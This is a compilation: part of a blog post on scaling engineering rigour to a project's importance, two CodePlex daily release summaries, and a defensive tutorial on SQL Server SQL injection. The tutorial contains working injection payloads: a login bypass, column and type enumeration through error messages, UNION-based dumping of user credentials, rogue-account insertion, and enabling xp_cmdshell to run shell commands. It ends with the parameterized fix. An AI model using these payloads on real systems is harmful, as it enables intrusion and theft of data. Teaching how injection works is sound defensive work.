mud. I think this is a cop-out. Sure you can’t always anticipate how an application will be used or grow over its lifetime (can you ever??), but that doesn’t mean you can’t manage it and evolve the underlying software architecture as necessary (even if that means having to toss the code out and re-write it at some point…maybe even multiple times). My thoughts are that we should be making a conscious decision around the start of each project approximately where on the SEMS we want the project to exist. I believe this decision should be based on 3 factors: 1. Importance - How important to the business is this application? What is the impact if the application were to suddenly stop working? 2. Complexity - How complex is the application functionality? 3. Life-Expectancy - How long is this application expected to be in use? Is this a one-time use application, does it fill a short-term need, or is it more strategic and is expected to be in-use for many years to come? Of course this isn’t an exact science. You can’t say that Project X should be at the 73% mark on the SEMS and expect that to be helpful. My point is not that you need to precisely figure out what point on the SEMS the project should be at then translate that into some prescriptive set of practices and techniques you should be using. Rather my point is that we need to be aware that there is a spectrum, and that not everything is going to be (or should be) at the edges of that spectrum, indeed a large number of projects should probably fall somewhere within the middle; and different projects should adopt a different level of software engineering practices and maturity levels based on the needs of that project. To give an example of this way of thinking from my day job: Every couple of years my company plans and hosts a large event where ~400 of our customers all fly in to one location for a multi-day event with various activities. We have some staff whose job it is to organize the logistics of this event, which includes tracking which flights everybody is booked on, arranging for transportation to/from airports, arranging for hotel rooms, name tags, etc The last time we arranged this event all these various pieces of data were tracked in separate spreadsheets and reconciliation and cross-referencing of all the data was literally done by hand using printed copies of the spreadsheets and several people sitting around a table going down each list row by row. Obviously there is some room for improvement in how we are using software to manage the event’s logistics. The next time this event occurs we plan to provide the event planning staff with a more intelligent tool (either an Excel spreadsheet or probably an Access database) that can track all the information in one location and make sure that the various pieces of data are properly linked together (so for example if a person cancels you only need to delete them from one place, and not a dozen separate lists). This solution would fall at or near the very left end of the SEMS meaning that we will just quickly create something with very little attention paid to using mature software engineering practices. If we examine this project against the 3 criteria I listed above for determining it’s place within the SEMS we can see why: Importance – If this application were to stop working the business doesn’t grind to a halt, revenue doesn’t stop, and in fact our customers wouldn’t even notice since it isn’t a customer facing application. The impact would simply be more work for our event planning staff as they revert back to the previous way of doing things (assuming we don’t have any data loss). Complexity – The use cases for this project are pretty straightforward. It simply needs to manage several lists of data, and link them together appropriately. Precisely the task that access (and/or Excel) can do with minimal custom development required. Life-Expectancy – For this specific project we’re only planning to create something to be used for the one event (we only hold these events every 2 years). If it works well this may change (see below). Let’s assume we hack something out quickly and it works great when we plan the next event. We may decide that we want to make some tweaks to the tool and adopt it for planning all future events of this nature. In that case we should examine where the current application is on the SEMS, and make a conscious decision whether something needs to be done to move it further to the right based on the new objectives and goals for this application. This may mean scrapping the access database and re-writing it as an actual web or windows application. In this case, the life-expectancy changed, but let’s assume the importance and complexity didn’t change all that much. We can still probably get away with not adopting a lot of the so-called “best practices”. For example, we can probably still use some of the RAD tooling available and might have an Autonomous View style design that connects directly to the database and binds to typed datasets (we might even choose to simply leave it as an access database and continue using it; this is a decision that needs to be made on a case-by-case basis). At Anvil Digital we have aspirations to become a primarily product-based company. So let’s say we use this tool to plan a handful of events internally, and everybody loves it. Maybe a couple years down the road we decide we want to package the tool up and sell it as a product to some of our customers. In this case the project objectives/goals change quite drastically. Now the tool becomes a source of revenue, and the impact of it suddenly stopping working is significantly less acceptable. Also as we hold focus groups, and gather feedback from customers and potential customers there’s a pretty good chance the feature-set and complexity will have to grow considerably from when we were using it only internally for planning a small handful of events for one company. In this fictional scenario I would expect the target on the SEMS to jump to the far right. Depending on how we implemented the previous release we may be able to refactor and evolve the existing codebase to introduce a more layered architecture, a robust set of automated tests, introduce a proper ORM and IoC container, etc. More likely in this example the jump along the SEMS would be so large we’d probably end up scrapping the current code and re-writing. Although, if it was a slow phased roll-out to only a handful of customers, where we collected feedback, made some tweaks, and then rolled out to a couple more customers, we may be able to slowly refactor and evolve the code over time rather than tossing it out and starting from scratch. The key point I’m trying to get across is not that you should be throwing out your code and starting from scratch all the time. But rather that you should be aware of when and how the context and objectives around a project changes and periodically re-assess where the project currently falls on the SEMS and whether that needs to be adjusted based on changing needs. Note: There is also the idea of “spectrum decay”. Since our industry is rapidly evolving, what we currently accept as mature software engineering practices (the right end of the SEMS) probably won’t be the same 3 years from now. If you have a project that you were to assess at somewhere around the 80% mark on the SEMS today, but don’t touch the code for 3 years and come back and re-assess its position, it will almost certainly have changed since the right end of the SEMS will have moved farther out (maybe the project is now only around 60% due to decay). Developer Skills Another important aspect to this whole discussion is around the skill sets of your architects and lead developers. When talking about the progression of a developers skills from junior->intermediate->senior->… they generally start by only being able to write code that belongs on the left side of the SEMS and as they gain more knowledge and skill they become capable of working at a higher and higher level along the SEMS. We all realize that the learning never stops, but eventually you’ll get to the point where you can comfortably develop at the right-end of the SEMS (the exact practices and techniques that translates to is constantly changing, but that’s not the point here). A critical skill that I’d love to see more evidence of in our industry is the most senior guys not only being able to work at the right-end of the SEMS, but more importantly be able to consciously work at any point along the SEMS as project needs dictate. An even more valuable skill would be if you could make the conscious decision to move a projects code further right on the SEMS (based on changing needs) and do so in an incremental manner without having to start from scratch. An exercise that I’m planning to go through with all of our projects here at Anvil in the near future is to map out where I believe each project currently falls within this SEMS, where I believe the project *should* be on the SEMS based on the business needs, and for those that don’t match up (i.e. most of them) come up with a plan to improve the situation.

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• CodePlex Daily Summary for Friday, October 04, 2013

  CodePlex Daily Summary for Friday, October 04, 2013Popular ReleasesMoreTerra (Terraria World Viewer): Version 1.11: Release Notes Release 1.11 =========== =Bug Fixes= =========== Now works with Terraria 1.2 wld files. =============== =Known Issues= =============== Not all tiles and items are accounted for. Missing tiles just show up as pink. This is actively being worked on but wanted to get a build out that works with 1.2VG-Ripper & PG-Ripper: PG-Ripper 1.4.19: NEW: Added Option to login as Guest NEW: Added Support for "ImageTeam.org linksStyleMVVM: 3.1.4: This release has virtually no code change but adds multiple new Item templates for the Windows Phone 8 platformSystem Center Orchestrator Community Project: Orchestrator Visio and Word Generator 1.5: This tool lets you export Orchestrator runbooks as a Visio diagram, and you can also generate an optional Word file as well. Components exported as of v1.5 are : - Title of the runbook - Activities and their names/thumbnails/description (description is displayed as a callout in the Visio diagram, attached to the shape of the activity) - Links and their names/colors - Looping and their interval Thumbnails and activities are grouped in the Visio diagram, for easy manipulation of the diagra...State of Decay Save Manager: Version 1.0.4: Add version at bottom of formDNN® Form and List: DNN Form and List 06.00.07: DotNetNuke Form and List 06.00.06 Changes to 6.0.7•Fixed an error in datatypes.config that caused calculated fields to be missing in 6.0.6 Changes to 6.0.6•Add in Sql to remove 'text on row' setting for UserDefinedTable to make SQL Azure compatible. •Add new azureCompatible element to manifest. •Added a fix for importing templates. Changes to 6.0.2•Fix: MakeThumbnail was broken if the application pool was configured to .Net 4 •Change: Data is now stored in nvarchar(max) instead of ntext C...SimpleExcelReportMaker: Serm 0.03: SourceCode and Sample .Net Framework 3.5 AnyCPU compile.RDFSharp - Start playing with RDF!: RDFSharp-0.6.6: GENERAL (NEW) Introduction of INT64 hashing engine (codenamed "Greta"); QUERY (FIX) Incorrect query evaluation due to faulty detection of optional patterns (v0.6.5 regression); (FIX) Missing update of PatternGroupID information after adding patterns and filters to a pattern group; (FIX) Ensure Context information of a pattern is not null before trying to collect it as variable; (MISC) Changed semantics of Context information of a pattern: if not provided, it will be ignored; (MISC...Application Architecture Guidelines: App Architecture Guidelines 3.0.8: This document is an overview of software qualities, principles, patterns, practices, tools and libraries.C# Intellisense for Notepad++: Release v1.0.7.2: - smart indentation - document formatting To avoid the DLLs getting locked by OS use MSI file for the installation.BlackJumboDog: Ver5.9.6: 2013.09.30 Ver5.9.6 (1)SMTP???????、???????????????? (2)WinAPI??????? (3)Web???????CGI???????????????????????Microsoft Ajax Minifier: Microsoft Ajax Minifier 5.2: Mostly internal code tweaks. added -nosize switch to turn off the size- and gzip-calculations done after minification. removed the comments in the build targets script for the old AjaxMin build task (discussion #458831). Fixed an issue with extended Unicode characters encoded inside a string literal with adjacent \uHHHH\uHHHH sequences. Fixed an IndexOutOfRange exception when encountering a CSS identifier that's a single underscore character (_). In previous builds, the net35 and net20...AJAX Control Toolkit: September 2013 Release: AJAX Control Toolkit Release Notes - September 2013 Release (Updated) Version 7.1002September 2013 release of the AJAX Control Toolkit. AJAX Control Toolkit .NET 4.5 – AJAX Control Toolkit for .NET 4.5 and sample site (Recommended). AJAX Control Toolkit .NET 4 – AJAX Control Toolkit for .NET 4 and sample site (Recommended). AJAX Control Toolkit .NET 3.5 – AJAX Control Toolkit for .NET 3.5 and sample site (Recommended). Important UpdateThis release has been updated to fix two issues: Upda...WDTVHubGen - Adds Metadata, thumbnails and subtitles to WDTV Live Hubs: WDTVHubGen.v2.1.4.apifix-alpha: WDTVHubGen.v2.1.4.apifix-alpha is for testers to figure out if we got the NEW api plugged in ok. thanksVisual Log Parser: VisualLogParser: Portable Visual Log Parser for Dotnet 4.0AudioWordsDownloader: AudioWordsDownloader 1.1 build 88: New features list of words (mp3 files) is available upon typing when a download path is defined list of download paths is added paths history settings added Bug fixed case mismatch in word search field fixed path not exist bug fixed when history has been used path, when filled from dialog, not stored refresh autocomplete list after path change word sought is deleted when path is changed at the end sought word list is deleted word list not refreshed download ends. word lis...Wsus Package Publisher: Release v1.3.1309.28: Fix a bug, where WPP crash when running on a computer where Windows was installed in another language than Fr, En or De, and launching the Update Creation Wizard. Fix a bug, where WPP crash if some Multi-Thread job are launch with more than 64 items. Add a button to abort "Install This Update" wizard. Allow WPP to remember which columns are shown last time. Make URL clickable on the Update Information Tab. Add a new feature, when Double-Clicking on an update, the default action exec...Tweetinvi a friendly Twitter C# API: Alpha 0.8.3.0: Version 0.8.3.0 emphasis on the FIlteredStream and ease how to manage Exceptions that can occur due to the network or any other issue you might encounter. Will be available through nuget the 29/09/2013. FilteredStream Features provided by the Twitter Stream API - Ability to track specific keywords - Ability to track specific users - Ability to track specific locations Additional features - Detect the reasons the tweet has been retrieved from the Filtered API. You have access to both the ma...WPF Extended DataGrid: WPF Extended DataGrid 2.0.0.4 binaries: Improved performance of GroupByAcDown?????: AcDown????? v4.5: ??●AcDown??????????、??、??、???????。????，????，?????????????????????????。???????????Acfun、????(Bilibili)、??、??、YouTube、??、???、??????、SF????、????????????。 ●??????AcPlay?????，??????、????????????????。 ● AcDown???????C#??，????.NET Framework 2.0??。?????"Acfun?????"。 ??v4.5 ???? AcPlay????????v3.5 ????????，???????????30% ?? ???????GoodManga.net???? ?? ?????????? ?? ??Acfun?????????? ??Bilibili??????????? ?????????flvcd???????? ??SfAcg????????????? ???????????? ???????????????? ????32...New ProjectsAnalysis Services Activity Viewer 2012: This project was created from a blog post I wrote back in February 2013 http://redphoenix.me/2013/08/22/upgrade-activity-viewer-2008-to-sql-server-2012/ARYSTA SYSTEM: Notebook System A/R Sales * Sales Order * Delivery * Sales Invoice * Sales Return * A/R Credit Memo * A/R Debit Memo A/P Purchasing * Purchase Order BEWELL SYSTEM: This system is design for Bewell-C Incorporated. Project Manager: Ben Penafiel System Engineer: Jhay Camba Report Designer: William Damasco Caching IOC: Caching IOC Container This will cache any Interface return results making it really easy to introduce caching to your solution.Grupo Anclita: Trabajo Final Laboratorio 4Halcyonic Skin by HTML5-UP - for DNN: This skin was converted for use in DNN by Michael Doxsey. Original HTML template designed and built by HTML5-UP: http://html5up.net/halcyonic/ ProPro: project about other projectsS3Unlock: Unlocks S3 agents that are stuck installing.sdfsdlfsdlkj01: dsfdffsdSerendipity - Responsive Skin for DNN: This is an HTML Template by Elemis, converted for use in DNN. Elemis URL: http://elemisfreebies.com/premium-themes/ Free for personal use and ed. purposes only.SmartSystemMenu: Smart system menu for you.SP 2013 Custom MultiTenant Adminstration: This Project creates a custom SP 2013 Tenant Admin site template covering limitations of existing tenant admin site.Telephasic Skin by HTML5-UP - for DNN: This skin was converted for use in DNN by Michael Doxsey. Original HTML template designed and built by HTML5-UP: http://html5up.net/telephasic/TelerikedIn: Social web app trying to look and feel like the famous LinkedInTerra 2: Generador de personajes para el juego de rol Terra2tsydev01: TextLineUpdateVds2465 Parser: This Project is about implementing a Parser for the Vds2465 protocol. It includes parsing and generating Vds2465 telegram bytes.Your Appliances: Empresa De ElectrodomesticosZeroFour by HTML5-UP - for DNN: This skin was converted for use in DNN by Michael Doxsey. Original HTML template designed and built by HTML5-UP: http://html5up.net/zerofour.

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• CodePlex Daily Summary for Monday, January 10, 2011

  CodePlex Daily Summary for Monday, January 10, 2011Popular ReleasesSense/Net Enterprise Portal & ECMS: SenseNet 6.0.1 Community Edition for .NET 4: SenseNet 6.0.1 Community Edition for .NET 4 with SQL CE 4.0 This half year we have been working quite fiercely to bring you the long-awaited release of Sense/Net 6.0. Download this Community Edition for .NET 4 Platform to see what we have been up to. These months we have worked on getting the WebCMS capabilities of Sense/Net 6.0 up to par. New features include: New, powerful page and portlet editing experience. HTML and CSS cleanup, new, powerful site skinning system. Upgraded, light...Agile Personal Body Of Knowledge: ????－????，???? v0.2.pdf: ????【????－????，????.pdf】???，?????????????????????????????，???????????，???????。 ??????????，??????????，????????，?????????！ ????sina??：http://q.t.sina.com.cn/135484VSSpeedster - Parallel Builds for VS: VSSpeedster 1.1: - Parallel Builds with MSBuild integrated in Visual StudioBernie's Trackviewer: Bernie's Trackviewer Version 1.2: Redesigned user interface of main form Also displays waypoints which are not part of a track Can convert a route int a track Maximum age of cached maps can be setPeople's Note: People's Note 0.21: Replaced note viewer buttons with a menu bar to improve scrolling performance. Fixed database relocation on low-resolution devices; thanks to compaNet for reporting. Improved signin error messages. To install: copy the appropriate CAB file onto your WM device and run it.mytrip.mvc (CMS & e-Commerce): mytrip.mvc 1.0.51.0 beta2: WEB.mytrip.mvc 1.0.51.0 Web for install hosting System Requirements: NET 4.0, MSSQL 2008 or MySql (auto creation table to database) if .\SQLEXPRESS auto creation database (App_Data folder) SRC.mytrip.mvc 1.0.51.0 System Requirements: Visual Studio 2010 or Web Deweloper 2010 MSSQL 2008 or MySql (auto creation table to database) if .\SQLEXPRESS auto creation database (App_Data folder) Connector/Net 6.3.5, MVC3 RC WARNING For run and debug SRC.mytrip.mvc 1.0.51.0 download and install MVC3 RC...EnhSim: EnhSim 2.3.0: 2.3.0This release supports WoW patch 4.03a at level 85 To use this release, you must have the Microsoft Visual C++ 2010 Redistributable Package installed. This can be downloaded from http://www.microsoft.com/downloads/en/details.aspx?FamilyID=A7B7A05E-6DE6-4D3A-A423-37BF0912DB84 To use the GUI you must have the .NET 4.0 Framework installed. This can be downloaded from http://www.microsoft.com/downloads/en/details.aspx?FamilyID=9cfb2d51-5ff4-4491-b0e5-b386f32c0992 - Changed how flame shoc...AutoLoL: AutoLoL v1.5.3: A message will be displayed when there's an update available Shows a list of recent mastery files in the Editor Tab (requested by quite a few people) Updater: Update information is now scrollable Added a buton to launch AutoLoL after updating is finished Updated the UI to match that of AutoLoL Fix: Detects and resolves 'Read Only' state on Version.xmlHawkeye - The .Net Runtime Object Editor: Hawkeye 1.2.4: [EDIT: 2010/01/10] In the case you are running an x86 Windows; please wait until Release 1.2.5 is made available: Hawkeye is broken on these OS. This is a maintenance release providing bug fixes. It comes in two flavors: Hawkeye.124.N2 is the standard .NET 2 build, was compiled with Visual Studio 2005 and can only inspect .NET 2 applications. Hawkeye.124.N4 is a .NET4 2 build, was compiled with Visual Studio 2010 and can only inspect .NET 4 applications. Please be patient until Release 1.3...Extended WPF Toolkit: Extended WPF Toolkit - 1.3.0: What's in the 1.3.0 Release?BusyIndicator ButtonSpinner ChildWindow ColorPicker - Updated (Breaking Changes) DateTimeUpDown - New Control Magnifier - New Control MaskedTextBox - New Control MessageBox NumericUpDown RichTextBox RichTextBoxFormatBar - Updated .NET 3.5 binaries and SourcePlease note: The Extended WPF Toolkit 3.5 is dependent on .NET Framework 3.5 and the WPFToolkit. You must install .NET Framework 3.5 and the WPFToolkit in order to use any features in the To...sNPCedit: sNPCedit v0.9d: added elementclient coordinate catcher to catch coordinates select a target (ingame) i.e. your char, npc or monster than click the button and coordinates+direction will be transfered to the selected row in the table corrected labels from Rot to Direction (because it is a vector)Ionics Isapi Rewrite Filter: 2.1 latest stable: V2.1 is stable, and is in maintenance mode. This is v2.1.1.25. It is a bug-fix release. There are no new features. 28629 29172 28722 27626 28074 29164 27659 27900 many documentation updates and fixes proper x64 build environment. This release includes x64 binaries in zip form, but no x64 MSI file. You'll have to manually install x64 servers, following the instructions in the documentation.StyleCop for ReSharper: StyleCop for ReSharper 5.1.14980.000: A considerable amount of work has gone into this release: Huge focus on performance around the violation scanning subsystem: - caching added to reduce IO operations around reading and merging of settings files - caching added to reduce creation of expensive objects Users should notice condsiderable perf boost and a decrease in memory usage. Bug Fixes: - StyleCop's new ObjectBasedEnvironment object does not resolve the StyleCop installation path, thus it does not return the correct path ...VivoSocial: VivoSocial 7.4.1: New release with bug fixes and updates for performance..NET Extensions - Extension Methods Library for C# and VB.NET: Release 2011.03: Added lot's of new extensions and new projects for MVC and Entity Framework. object.FindTypeByRecursion Int32.InRange String.RemoveAllSpecialCharacters String.IsEmptyOrWhiteSpace String.IsNotEmptyOrWhiteSpace String.IfEmptyOrWhiteSpace String.ToUpperFirstLetter String.GetBytes String.ToTitleCase String.ToPlural DateTime.GetDaysInYear DateTime.GetPeriodOfDay IEnumberable.RemoveAll IEnumberable.Distinct ICollection.RemoveAll IList.Join IList.Match IList.Cast Array.IsNullOrEmpty Array.W...EFMVC - ASP.NET MVC 3 and EF Code First: EFMVC 0.5- ASP.NET MVC 3 and EF Code First: Demo web app ASP.NET MVC 3, Razor and EF Code FirstVidCoder: 0.8.0: Added x64 version. Made the audio output preview more detailed and accurate. If the chosen encoder or mixdown is incompatible with the source, the fallback that will be used is displayed. Added "Auto" to the audio mixdown choices. Reworked non-anamorphic size calculation to work better with non-standard pixel aspect ratios and cropping. Reworked Custom anamorphic to be more intuitive and allow display width to be set automatically (Thanks, Statick). Allowing higher bitrates for 6-ch....NET Voice Recorder: Auto-Tune Release: This is the source code and binaries to accompany the article on the Coding 4 Fun website. It is the Auto Tuner release of the .NET Voice Recorder application.BloodSim: BloodSim - 1.3.2.0: - Simulation Log is now automatically disabled and hidden when running 10 or more iterations - Hit and Expertise are now entered by Rating, and include option for a Racial Expertise bonus - Added option for boss to use a periodic magic ability (Dragon Breath) - Added option for boss to periodically Enrage, gaining a Damage/Attack Speed buffJson.NET: Json.NET 4.0 Release 1: New feature - Added Windows Phone 7 project New feature - Added dynamic support to LINQ to JSON New feature - Added dynamic support to serializer New feature - Added INotifyCollectionChanged to JContainer in .NET 4 build New feature - Added ReadAsDateTimeOffset to JsonReader New feature - Added ReadAsDecimal to JsonReader New feature - Added covariance to IJEnumerable type parameter New feature - Added XmlSerializer style Specified property support New feature - Added ...New ProjectsAssimpXna: AssimpXna is a custom model importer for Xna 4.0 using the Open Asset Import Library (Assimp).ATCSim: This is an atc sim for a school projectAzure Role-Based Deployment: Azure Role-Based Deployment demonstrates how to use the CreateDeployment Windows Azure Service Management API to deploy an app from within a web role. This code can easily be ported to a worker role and thus included in the managment pack for a hosted service.CodeKata AltNet Hispano: Ejemplos de Code Kata usados por la comunidad AltNet Hispano.DataStoreCleaner: DataStoreCleaner clears "DataStore" folder which manages Windows Update History. It is useful for fixing WU error, or tune up Windows start-up. It's developed in C#.DS_HW2: dshw2EFT Calculator: EFT Calculator is an application that performs common cryptographic operations used in electronic funds transfer applications.Entity Visualizers: This project has debugger visualizers for several objects in the Entity Framework: EntityObject, EntityCollection, ObjectQuery and ObjectContext. Some of the source code is based on code from Julie Lerman's book "Programming Entity Framework".EzyCMS - Easy and Simple CMS made by ASP.Net MVC: EzyCMS makes both of end user and developer enjoy CMS benefit and extendability to perform requirements. The design principles: EASY TO USE, EASY TO EXTEND, FLEXIBLE AND PWOERFUL TECHNOLOGY: ASP.Net MVC2, NHibernate, StructureMap, JQueryFlatStore: Simple library to simplify storage of application data when a bulky dedicated database is cumbersome and unnecessaryGigantornis: Gigantornis is a tool for benchmarking your Hypertext Transfer Protocol (HTTP) server. It is designed to give you an impression of how your current server installation performs. This especially shows you how many requests per second your server installation is capable of serving.Gonte.Dal: Data access layer for NETLezatrus: Lezatrus is the open source project to help people find places to eat in Jakarta. It's developed in ASP.NET MVC using Razor and C#. It's the sample app for Pro ASP.NET MVC Coding 